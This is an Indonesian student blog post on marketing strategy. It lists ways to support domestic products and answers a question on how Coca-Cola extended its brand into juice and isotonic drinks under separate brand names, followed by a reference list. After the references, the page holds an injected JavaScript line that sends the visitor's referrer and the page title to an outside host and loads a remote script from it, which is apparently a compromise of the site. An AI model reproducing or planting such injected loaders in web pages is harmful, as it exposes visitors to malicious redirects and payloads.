  1. Kampanye besar-besaran tentang “Cinta produk dalam negeri” dan  “Beli produk dalam negeri”
  2. Biasakan untuk mengutamakan kepentingan bangsa sendiri di atas keuntungan pribadi.
  3. Dukung kegiatan pemerintah dengan baik, dan jangan hanya mengkritisi tindakan pemerintah yang dirasa melenceng, tapi lakukan sesuatu untuk pembenarannya.
  4. Ciptakan harmonisai yang baik
  5. Hilangkan sedikit demi sedikit budaya kolusi, korupsi, dan nepotisme yang sudah menjadi iklim kerja Indonesia.
  6. Ciptakan harmonisasi yang baik antara pengusaha, pemerintah, dan akademisi.

 

Pertanyaan Nomor 10 (Riza Purbo Widiasto P056111371.47)

riza47.blogstudent.mb.ipb.ac.id

Pertanyaan:

Bagaimana persepsi orang terhadap suatu produk salah satunya yaitu coca-cola dimana brand image costomer mengetahui bahwa coca-cola sebagai produsen minuman soda, namun ketika coca-cola memperluas pasar dengan menciptakan produk lain seperti jus, apa yang akan terjadi terhadap produk tersebut. Apakah akan menjadi brand baru yang lebih menguntungkan perusahaan atau sebaliknya produk tersebut tidak diterima dipasar dan malah menjatuhkan brand image coca-cola?

Jawaban:

Visi market yang luas memicu suatu perusahaan untuk menemukan kesempatan/ peluang bisnis baru. Terdapat tiga keuntungan pokok apabila perusahaan dapat menjalankan visi market stategis yang luas yaitu (1) membuka kesempatan terhadap kebutuhan konsumen, (2) memberikan pemahaman yang lebih baik terhadap pengganti potensial dan kompetisi, dan (3) membantu pemahaman bisnis yang lebih baik terhadap kebutuhan dasar konsumen.

Pada kasus coca-cola ini, The Coca-cola Company memang sudah mempunyai brand image sebagai produsen minuman bersoda terbesar di dunia, namun untuk dapat memasuki pasar yang baru, perusahaan melakukan strategi brand extention dengan mengeluarkan inovasi dalam varian rasa selain cola/soda. Kesadaran akan persaingan pasar yang sangat tinggi membuat The Coca-cola Company mengeluarkan terobosan baru dengan membuat produk sari jeruk minute maid atau minuman isotoni powerade.

Pada kenyataanya, pasar/masyarakat sangat menerima hadirnya kedua produk terbaru tersebut. Hal ini tentunya menguntungkan posisi tawar perusahaan sehingga perusahaan dapat memperoleh keuntungan yang berkelanjutan. Kata kunci dalam strategi brand extension ini adalah meskipun The Coca-cola Company mengeluarkan varian baru selain cola/soda, perusahaan tidak menggunakan brand yang sama untuk produk baru tersebut (berbeda dengan brand utama mereka yaitu coca cola), sehingga brand image konsumen tetap mengingat bahwa coca coca adalah minuman bersoda dan produk barunya tersebut berada pada pasar yang berbeda dengan konsumen yang berbeda dan dengan brand yang berbeda.

 

Daftar Pustaka

Arman H.N., Indung S., Lantip T. 2006. Manajemen Pemasaran untuk Engineering. Yogyakarta: Penerbit Andi

Kottler P. 1999. Manajemen Pemasaran Jilid 1 (Edisi 6). Jakarta: PT. Prehallindo.

Sumarwan U, Achmad F, Adman N, Arissetyanto N, Erry RN, Ign Anung S, Suharyono, Zeffry A. 2011. Pemasaran Strategik: Perspektif Value-Based Marketing dan Pengukuran Kinerja. Bogor: IPB Press

Anonim. 2011. http://www.scribd.com/doc/36164473/Brand-Equity [15Februari 2012]

 

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Skip to toolbar